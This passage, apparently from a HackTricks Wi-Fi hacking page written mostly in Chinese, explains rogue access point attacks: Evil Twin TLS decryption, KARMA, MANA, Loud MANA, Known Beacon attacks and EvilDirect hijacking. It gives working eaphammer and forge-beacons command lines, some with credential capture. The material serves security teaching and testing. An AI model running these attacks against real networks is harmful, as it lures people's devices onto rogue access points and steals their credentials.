Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).

And look at the new "Decrypted TLS" tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

不同类型的 Media Access Control Filter Lists (MFACLs) 及其对应模式,以及对 rogue Access Point (AP) 行为的影响:

  1. MAC-based Whitelist:
  • rogue AP 只会响应白名单中设备的 probe requests,对未列出的其他设备保持不可见。
  1. MAC-based Blacklist:
  • rogue AP 会忽略黑名单中设备的 probe requests,从而对这些特定设备保持不可见。
  1. SSID-based Whitelist:
  • rogue AP 只会响应列出的特定 ESSIDs 的 probe requests,使其对其 Preferred Network Lists (PNLs) 中不包含这些 ESSIDs 的设备不可见。
  1. SSID-based Blacklist:
  • rogue AP 不会响应位于黑名单中的特定 ESSIDs 的 probe requests,使其对寻求这些特定网络的设备不可见。
bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

该方法允许攻击者创建一个恶意接入点(AP),对试图连接网络的设备发出的所有 probe requests 做出响应。该技术通过模仿设备正在寻找的网络来诱骗设备连接到攻击者的 AP。一旦设备向这个伪造的 AP 发送连接请求并完成连接,设备就会错误地连接到攻击者的网络。

MANA

随后,设备开始忽略未经请求的网络响应,这降低了原始 karma attack 的效果。然而,Ian de Villiers 和 Dominic White 提出了一种新方法,称为 MANA attack。该方法让伪造的 AP 通过响应设备的广播 probe requests 来捕获其 Preferred Network Lists (PNL),响应内容为设备之前保存的网络名称(SSIDs)。这种复杂的攻击利用设备记住并优先已知网络的方式,绕过了针对原始 karma attack 的防护。

MANA attack 通过监控设备的定向(directed)和广播(broadcast)probe requests 来运行。对于定向请求,它会记录设备的 MAC 地址和所请求的网络名称,并将这些信息添加到列表中。当收到广播请求时,AP 会用与设备列表中任何网络匹配的信息进行响应,诱使设备连接到该伪造的 AP。

bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

A Loud MANA attack 是一种高级策略,适用于当设备不使用 directed probing 或者其 Preferred Network Lists (PNL) 对攻击者未知时。它基于这样的原理:同一区域的设备很可能在它们的 PNLs 中共享一些网络名称。该攻击并不是有选择地响应,而是为在所有被观测设备合并的 PNLs 中出现的每个网络名称 (ESSID) 广播 probe responses。这种广泛的方式增加了设备识别熟悉网络并尝试连接到 rogue Access Point (AP) 的几率。

bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack 可能不足以奏效时,Known Beacon attack 提供了另一种方法。此方法通过模拟一个响应任意网络名称的 AP,循环使用来自词表的潜在 ESSIDs 列表,来对连接过程进行暴力破解。这样可以模拟大量网络的存在,希望匹配受害者 PNL 中的某个 ESSID,促使设备尝试连接到伪造的 AP。该攻击可通过结合 --loud 选项来增强,以更积极地诱捕设备。

Eaphammer 将此攻击实现为一种 MANA attack,其中列表中的所有 ESSIDs 都被广播(你也可以将其与 --loud 结合,创建一个 Loud MANA + Known beacons attack):

bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Known Beacon Burst attack 涉及快速连续广播 beacon frames,以覆盖文件中列出的每个 ESSID。这会创建一个密集的假网络环境,大大提高设备连接到 rogue AP 的可能性,尤其是在与 MANA attack 结合时。该技术利用速度和数量来压倒设备的网络选择机制。

bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,允许设备使用 Wi-Fi 在无需传统无线接入点的情况下直接互联。该功能集成在各种 Internet of Things (IoT) 设备中,例如打印机和电视,便于设备之间的直接通信。Wi-Fi Direct 的一个显著特性是其中一台设备会承担接入点的角色,称为 group owner,用于管理连接。

Wi-Fi Direct 连接的安全通过 Wi-Fi Protected Setup (WPS) 建立,WPS 支持多种用于安全配对的方法,包括:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

这些方法,尤其是 PIN entry,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使其成为类似攻击手法的目标。

EvilDirect Hijacking

EvilDirect Hijacking 是针对 Wi-Fi Direct 的一种攻击。它类似于 Evil Twin 攻击的概念,但目标是 Wi-Fi Direct 连接。在这种情形中,攻击者冒充合法的 group owner,欺骗设备连接到恶意实体。可使用诸如 airbase-ng 的工具来执行此方法,指定被冒充设备的 channel、ESSID 和 MAC address:

References

TODO:查看 https://github.com/wifiphisher/wifiphisher (使用 facebook 登录 并在 captive portals 中模仿 WPA)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks